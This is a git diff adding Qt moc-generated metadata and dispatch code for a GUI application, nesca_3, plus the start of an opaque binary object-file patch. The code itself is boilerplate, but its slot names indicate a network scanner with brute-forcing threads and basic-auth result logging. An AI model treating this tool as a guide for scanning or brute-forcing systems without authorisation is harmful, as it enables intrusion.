+QT_MOC_LITERAL(88, 1235, 11), +QT_MOC_LITERAL(89, 1247, 15), +QT_MOC_LITERAL(90, 1263, 13), +QT_MOC_LITERAL(91, 1277, 31), +QT_MOC_LITERAL(92, 1309, 18), +QT_MOC_LITERAL(93, 1328, 26), +QT_MOC_LITERAL(94, 1355, 13), +QT_MOC_LITERAL(95, 1369, 12), +QT_MOC_LITERAL(96, 1382, 15), +QT_MOC_LITERAL(97, 1398, 16), +QT_MOC_LITERAL(98, 1415, 17), +QT_MOC_LITERAL(99, 1433, 16), +QT_MOC_LITERAL(100, 1450, 18), +QT_MOC_LITERAL(101, 1469, 19), +QT_MOC_LITERAL(102, 1489, 20), +QT_MOC_LITERAL(103, 1510, 1), +QT_MOC_LITERAL(104, 1512, 23), +QT_MOC_LITERAL(105, 1536, 26), +QT_MOC_LITERAL(106, 1563, 26), +QT_MOC_LITERAL(107, 1590, 17), +QT_MOC_LITERAL(108, 1608, 15), +QT_MOC_LITERAL(109, 1624, 12), +QT_MOC_LITERAL(110, 1637, 13) + }, + "nesca_3\0MaxBrutingThr_ChangeValue\0\0" + "str\0ThreadDelay_ChangeValue\0val\0" + "ChangePingerOK\0changeNSTrackLabel\0" + "status\0slotPBUpdate\0DNSLine_ValueChanged\0" + "slotChangeCPModeToUTF\0slotChangeCPModeTo1251\0" + "slotShowRedVersion\0ChangeTopic\0" + "slotIRCGetTopic\0slotIRCOfflined\0" + "slotUnhidePopup\0senderNick\0slotItemClicked\0" + "QListWidgetItem*\0wi\0slotClearNickList\0" + "slotAppendIRCNick\0slotShowNicks\0" + "slotBlinkMessage\0slotTabChanged\0index\0" + "IPScanSeq\0DNSScanSeq\0ImportScanSeq\0" + "smReaction\0slotShowDataflow\0slotOutData\0" + "slotIncData\0ip\0slotShowServerMsg\0" + "slotSaveImage\0QAction*\0qwe\0slotUpdatePie\0" + "slotClearLogs\0slotRestartIRC\0" + "slotDrawVoiceGrid\0factor\0slotDrawTextPlacers\0" + "onLinkClicked\0link\0CheckPersKey\0" + "slotRestoreDefPorts\0ChangeNick\0" + "setNickBox\0SaySmthng\0ChangeIRCRawLog\0" + "switchToJobMode\0ConnectToIRCServer\0" + "CheckProxy\0ChangeDispalyMode\0" + "switchDataFields\0importAndScan\0" + "slotQoSAddGrid\0slotVoiceAddLine\0" + "slotDrawDelimLines\0slotDrawActivityLine\0" + "data\0slotDrawActivityGrid\0" + "activateME2ScanScene\0activateQoSScanBut\0" + "activateVoiceScanBut\0activatePieStatBut\0" + "slotAddPolyLine\0slotQoSAddLine\0" + "slotAddLine\0x1\0y1\0x2\0y2\0slotDrawGrid\0" + "exitButtonClicked\0trayButtonClicked\0" + "mouseMoveEvent\0QMouseEvent*\0event\0" + "mousePressEvent\0mouseReleaseEvent\0" + "logoLabelClicked\0startScanButtonClicked\0" + "startScanButtonClickedDNS\0saveOptions\0" + "ChangeTrackerOK\0ChangeShuffle\0" + "ChangeLabelThreads_ValueChanged\0" + "PingTO_ChangeValue\0ChangeLabelTO_ValueChanged\0" + "appendErrText\0appendOKText\0appendDebugText\0" + "appendNotifyText\0appendDefaultText\0" + "appendRedIRCText\0appendGreenIRCText\0" + "appendYellowIRCText\0appendDefaultIRCText\0" + "s\0appendDefaultIRCTextOut\0" + "appendDefaultIRCRawTextInc\0" + "appendDefaultIRCRawTextOut\0appendGreenBAData\0" + "appendRedBAData\0STTTerminate\0playFcknSound" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_nesca_3[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 90, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 0, // signalCount + + // slots: name, argc, parameters, tag, flags + 1, 1, 464, 2, 0x09 /* Protected */, + 4, 1, 467, 2, 0x09 /* Protected */, + 6, 1, 470, 2, 0x09 /* Protected */, + 7, 1, 473, 2, 0x09 /* Protected */, + 9, 0, 476, 2, 0x09 /* Protected */, + 10, 0, 477, 2, 0x09 /* Protected */, + 11, 0, 478, 2, 0x09 /* Protected */, + 12, 0, 479, 2, 0x09 /* Protected */, + 13, 0, 480, 2, 0x09 /* Protected */, + 14, 0, 481, 2, 0x09 /* Protected */, + 15, 1, 482, 2, 0x09 /* Protected */, + 16, 0, 485, 2, 0x09 /* Protected */, + 17, 2, 486, 2, 0x09 /* Protected */, + 19, 1, 491, 2, 0x09 /* Protected */, + 22, 0, 494, 2, 0x09 /* Protected */, + 23, 1, 495, 2, 0x09 /* Protected */, + 24, 0, 498, 2, 0x09 /* Protected */, + 25, 0, 499, 2, 0x09 /* Protected */, + 26, 1, 500, 2, 0x09 /* Protected */, + 28, 0, 503, 2, 0x09 /* Protected */, + 29, 0, 504, 2, 0x09 /* Protected */, + 30, 0, 505, 2, 0x09 /* Protected */, + 31, 0, 506, 2, 0x09 /* Protected */, + 32, 0, 507, 2, 0x09 /* Protected */, + 33, 1, 508, 2, 0x09 /* Protected */, + 34, 2, 511, 2, 0x09 /* Protected */, + 36, 1, 516, 2, 0x09 /* Protected */, + 37, 1, 519, 2, 0x09 /* Protected */, + 40, 0, 522, 2, 0x09 /* Protected */, + 41, 0, 523, 2, 0x09 /* Protected */, + 42, 0, 524, 2, 0x09 /* Protected */, + 43, 1, 525, 2, 0x09 /* Protected */, + 45, 0, 528, 2, 0x09 /* Protected */, + 46, 1, 529, 2, 0x09 /* Protected */, + 48, 0, 532, 2, 0x09 /* Protected */, + 48, 1, 533, 2, 0x09 /* Protected */, + 49, 0, 536, 2, 0x09 /* Protected */, + 50, 0, 537, 2, 0x09 /* Protected */, + 51, 1, 538, 2, 0x09 /* Protected */, + 52, 0, 541, 2, 0x09 /* Protected */, + 53, 0, 542, 2, 0x09 /* Protected */, + 54, 0, 543, 2, 0x09 /* Protected */, + 55, 0, 544, 2, 0x09 /* Protected */, + 56, 0, 545, 2, 0x09 /* Protected */, + 57, 0, 546, 2, 0x09 /* Protected */, + 58, 0, 547, 2, 0x09 /* Protected */, + 59, 0, 548, 2, 0x09 /* Protected */, + 60, 0, 549, 2, 0x09 /* Protected */, + 61, 0, 550, 2, 0x09 /* Protected */, + 62, 0, 551, 2, 0x09 /* Protected */, + 63, 1, 552, 2, 0x09 /* Protected */, + 65, 0, 555, 2, 0x09 /* Protected */, + 66, 0, 556, 2, 0x09 /* Protected */, + 67, 0, 557, 2, 0x09 /* Protected */, + 68, 0, 558, 2, 0x09 /* Protected */, + 69, 0, 559, 2, 0x09 /* Protected */, + 70, 0, 560, 2, 0x09 /* Protected */, + 71, 0, 561, 2, 0x09 /* Protected */, + 72, 4, 562, 2, 0x09 /* Protected */, + 77, 0, 571, 2, 0x09 /* Protected */, + 78, 0, 572, 2, 0x09 /* Protected */, + 79, 0, 573, 2, 0x09 /* Protected */, + 80, 1, 574, 2, 0x09 /* Protected */, + 83, 1, 577, 2, 0x09 /* Protected */, + 84, 1, 580, 2, 0x09 /* Protected */, + 85, 0, 583, 2, 0x09 /* Protected */, + 86, 0, 584, 2, 0x09 /* Protected */, + 87, 0, 585, 2, 0x09 /* Protected */, + 88, 0, 586, 2, 0x09 /* Protected */, + 89, 1, 587, 2, 0x09 /* Protected */, + 90, 1, 590, 2, 0x09 /* Protected */, + 91, 1, 593, 2, 0x09 /* Protected */, + 92, 1, 596, 2, 0x09 /* Protected */, + 93, 1, 599, 2, 0x09 /* Protected */, + 94, 1, 602, 2, 0x09 /* Protected */, + 95, 1, 605, 2, 0x09 /* Protected */, + 96, 1, 608, 2, 0x09 /* Protected */, + 97, 1, 611, 2, 0x09 /* Protected */, + 98, 1, 614, 2, 0x09 /* Protected */, + 99, 1, 617, 2, 0x09 /* Protected */, + 100, 1, 620, 2, 0x09 /* Protected */, + 101, 1, 623, 2, 0x09 /* Protected */, + 102, 4, 626, 2, 0x09 /* Protected */, + 104, 1, 635, 2, 0x09 /* Protected */, + 105, 1, 638, 2, 0x09 /* Protected */, + 106, 1, 641, 2, 0x09 /* Protected */, + 107, 1, 644, 2, 0x09 /* Protected */, + 108, 1, 647, 2, 0x09 /* Protected */, + 109, 0, 650, 2, 0x09 /* Protected */, + 110, 0, 651, 2, 0x09 /* Protected */, + + // slots: parameters + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 5, + QMetaType::Void, QMetaType::Bool, 5, + QMetaType::Void, QMetaType::Bool, 8, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, QMetaType::QString, 3, 18, + QMetaType::Void, 0x80000000 | 20, 21, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::Int, 27, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, QMetaType::QString, 35, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, 0x80000000 | 38, 39, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::Int, 44, + QMetaType::Void, + QMetaType::Void, QMetaType::QUrl, 47, + QMetaType::Void, + QMetaType::Void, QMetaType::Int, 5, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::QString, 64, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::Int, QMetaType::Int, QMetaType::Int, QMetaType::Int, 73, 74, 75, 76, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, 0x80000000 | 81, 82, + QMetaType::Void, 0x80000000 | 81, 82, + QMetaType::Void, 0x80000000 | 81, 82, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, + QMetaType::Void, QMetaType::Bool, 5, + QMetaType::Void, QMetaType::Bool, 5, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::Bool, QMetaType::Bool, QMetaType::QString, QMetaType::QString, 2, 2, 3, 103, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, QMetaType::QString, 3, + QMetaType::Void, + QMetaType::Void, + + 0 // eod +}; + +void nesca_3::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + nesca_3 *_t = static_cast<nesca_3 *>(_o); + switch (_id) { + case 0: _t->MaxBrutingThr_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 1: _t->ThreadDelay_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 2: _t->ChangePingerOK((*reinterpret_cast< bool(*)>(_a[1]))); break; + case 3: _t->changeNSTrackLabel((*reinterpret_cast< bool(*)>(_a[1]))); break; + case 4: _t->slotPBUpdate(); break; + case 5: _t->DNSLine_ValueChanged(); break; + case 6: _t->slotChangeCPModeToUTF(); break; + case 7: _t->slotChangeCPModeTo1251(); break; + case 8: _t->slotShowRedVersion(); break; + case 9: _t->ChangeTopic(); break; + case 10: _t->slotIRCGetTopic((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 11: _t->slotIRCOfflined(); break; + case 12: _t->slotUnhidePopup((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; + case 13: _t->slotItemClicked((*reinterpret_cast< QListWidgetItem*(*)>(_a[1]))); break; + case 14: _t->slotClearNickList(); break; + case 15: _t->slotAppendIRCNick((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 16: _t->slotShowNicks(); break; + case 17: _t->slotBlinkMessage(); break; + case 18: _t->slotTabChanged((*reinterpret_cast< int(*)>(_a[1]))); break; + case 19: _t->IPScanSeq(); break; + case 20: _t->DNSScanSeq(); break; + case 21: _t->ImportScanSeq(); break; + case 22: _t->smReaction(); break; + case 23: _t->slotShowDataflow(); break; + case 24: _t->slotOutData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 25: _t->slotIncData((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; + case 26: _t->slotShowServerMsg((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 27: _t->slotSaveImage((*reinterpret_cast< QAction*(*)>(_a[1]))); break; + case 28: _t->slotUpdatePie(); break; + case 29: _t->slotClearLogs(); break; + case 30: _t->slotRestartIRC(); break; + case 31: _t->slotDrawVoiceGrid((*reinterpret_cast< int(*)>(_a[1]))); break; + case 32: _t->slotDrawTextPlacers(); break; + case 33: _t->onLinkClicked((*reinterpret_cast< QUrl(*)>(_a[1]))); break; + case 34: _t->CheckPersKey(); break; + case 35: _t->CheckPersKey((*reinterpret_cast< int(*)>(_a[1]))); break; + case 36: _t->slotRestoreDefPorts(); break; + case 37: _t->ChangeNick(); break; + case 38: _t->setNickBox((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 39: _t->SaySmthng(); break; + case 40: _t->ChangeIRCRawLog(); break; + case 41: _t->switchToJobMode(); break; + case 42: _t->ConnectToIRCServer(); break; + case 43: _t->CheckProxy(); break; + case 44: _t->ChangeDispalyMode(); break; + case 45: _t->switchDataFields(); break; + case 46: _t->importAndScan(); break; + case 47: _t->slotQoSAddGrid(); break; + case 48: _t->slotVoiceAddLine(); break; + case 49: _t->slotDrawDelimLines(); break; + case 50: _t->slotDrawActivityLine((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 51: _t->slotDrawActivityGrid(); break; + case 52: _t->activateME2ScanScene(); break; + case 53: _t->activateQoSScanBut(); break; + case 54: _t->activateVoiceScanBut(); break; + case 55: _t->activatePieStatBut(); break; + case 56: _t->slotAddPolyLine(); break; + case 57: _t->slotQoSAddLine(); break; + case 58: _t->slotAddLine((*reinterpret_cast< int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< int(*)>(_a[4]))); break; + case 59: _t->slotDrawGrid(); break; + case 60: _t->exitButtonClicked(); break; + case 61: _t->trayButtonClicked(); break; + case 62: _t->mouseMoveEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; + case 63: _t->mousePressEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; + case 64: _t->mouseReleaseEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; + case 65: _t->logoLabelClicked(); break; + case 66: _t->startScanButtonClicked(); break; + case 67: _t->startScanButtonClickedDNS(); break; + case 68: _t->saveOptions(); break; + case 69: _t->ChangeTrackerOK((*reinterpret_cast< bool(*)>(_a[1]))); break; + case 70: _t->ChangeShuffle((*reinterpret_cast< bool(*)>(_a[1]))); break; + case 71: _t->ChangeLabelThreads_ValueChanged((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 72: _t->PingTO_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 73: _t->ChangeLabelTO_ValueChanged((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 74: _t->appendErrText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 75: _t->appendOKText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 76: _t->appendDebugText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 77: _t->appendNotifyText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 78: _t->appendDefaultText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 79: _t->appendRedIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 80: _t->appendGreenIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 81: _t->appendYellowIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 82: _t->appendDefaultIRCText((*reinterpret_cast< bool(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< QString(*)>(_a[3])),(*reinterpret_cast< QString(*)>(_a[4]))); break; + case 83: _t->appendDefaultIRCTextOut((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 84: _t->appendDefaultIRCRawTextInc((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 85: _t->appendDefaultIRCRawTextOut((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 86: _t->appendGreenBAData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 87: _t->appendRedBAData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 88: _t->STTTerminate(); break; + case 89: _t->playFcknSound(); break; + default: ; + } + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + switch (_id) { + default: *reinterpret_cast<int*>(_a[0]) = -1; break; + case 27: + switch (*reinterpret_cast<int*>(_a[1])) { + default: *reinterpret_cast<int*>(_a[0]) = -1; break; + case 0: + *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< QAction* >(); break; + } + break; + } + } +} + +const QMetaObject nesca_3::staticMetaObject = { + { &QMainWindow::staticMetaObject, qt_meta_stringdata_nesca_3.data, + qt_meta_data_nesca_3, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *nesca_3::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *nesca_3::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_nesca_3.stringdata)) + return static_cast<void*>(const_cast< nesca_3*>(this)); + return QMainWindow::qt_metacast(_clname); +} + +int nesca_3::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QMainWindow::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 90) + qt_static_metacall(this, _c, _id, _a); + _id -= 90; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 90) + qt_static_metacall(this, _c, _id, _a); + _id -= 90; + } + return _id; +} +struct qt_meta_stringdata_PieStatView_t { + QByteArrayData data[1]; + char stringdata[12]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_PieStatView_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_PieStatView_t qt_meta_stringdata_PieStatView = { + { +QT_MOC_LITERAL(0, 0, 11) + }, + "PieStatView" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_PieStatView[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 0, 0, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 0, // signalCount + + 0 // eod +}; + +void PieStatView::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + Q_UNUSED(_o); + Q_UNUSED(_id); + Q_UNUSED(_c); + Q_UNUSED(_a); +} + +const QMetaObject PieStatView::staticMetaObject = { + { &QGraphicsView::staticMetaObject, qt_meta_stringdata_PieStatView.data, + qt_meta_data_PieStatView, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *PieStatView::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *PieStatView::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_PieStatView.stringdata)) + return static_cast<void*>(const_cast< PieStatView*>(this)); + return QGraphicsView::qt_metacast(_clname); +} + +int PieStatView::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QGraphicsView::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + return _id; +} +struct qt_meta_stringdata_PopupMsgWidget_t { + QByteArrayData data[4]; + char stringdata[32]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_PopupMsgWidget_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_PopupMsgWidget_t qt_meta_stringdata_PopupMsgWidget = { + { +QT_MOC_LITERAL(0, 0, 14), +QT_MOC_LITERAL(1, 15, 7), +QT_MOC_LITERAL(2, 23, 0), +QT_MOC_LITERAL(3, 24, 7) + }, + "PopupMsgWidget\0clicked\0\0checked" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_PopupMsgWidget[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 2, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 2, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 1, 24, 2, 0x06 /* Public */, + 1, 0, 27, 2, 0x26 /* Public | MethodCloned */, + + // signals: parameters + QMetaType::Void, QMetaType::Bool, 3, + QMetaType::Void, + + 0 // eod +}; + +void PopupMsgWidget::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + PopupMsgWidget *_t = static_cast<PopupMsgWidget *>(_o); + switch (_id) { + case 0: _t->clicked((*reinterpret_cast< bool(*)>(_a[1]))); break; + case 1: _t->clicked(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (PopupMsgWidget::*_t)(bool ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&PopupMsgWidget::clicked)) { + *result = 0; + } + } + } +} + +const QMetaObject PopupMsgWidget::staticMetaObject = { + { &QWidget::staticMetaObject, qt_meta_stringdata_PopupMsgWidget.data, + qt_meta_data_PopupMsgWidget, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *PopupMsgWidget::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *PopupMsgWidget::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_PopupMsgWidget.stringdata)) + return static_cast<void*>(const_cast< PopupMsgWidget*>(this)); + return QWidget::qt_metacast(_clname); +} + +int PopupMsgWidget::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QWidget::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 2) + qt_static_metacall(this, _c, _id, _a); + _id -= 2; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 2) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 2; + } + return _id; +} + +// SIGNAL 0 +void PopupMsgWidget::clicked(bool _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} +QT_END_MOC_NAMESPACE diff --git a/moc_nesca_3.o b/moc_nesca_3.o new file mode 100644 index 0000000000000000000000000000000000000000..f802bf25a57002e46cbfd17d2f867e5182354b98 GIT binary patch literal 59376 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 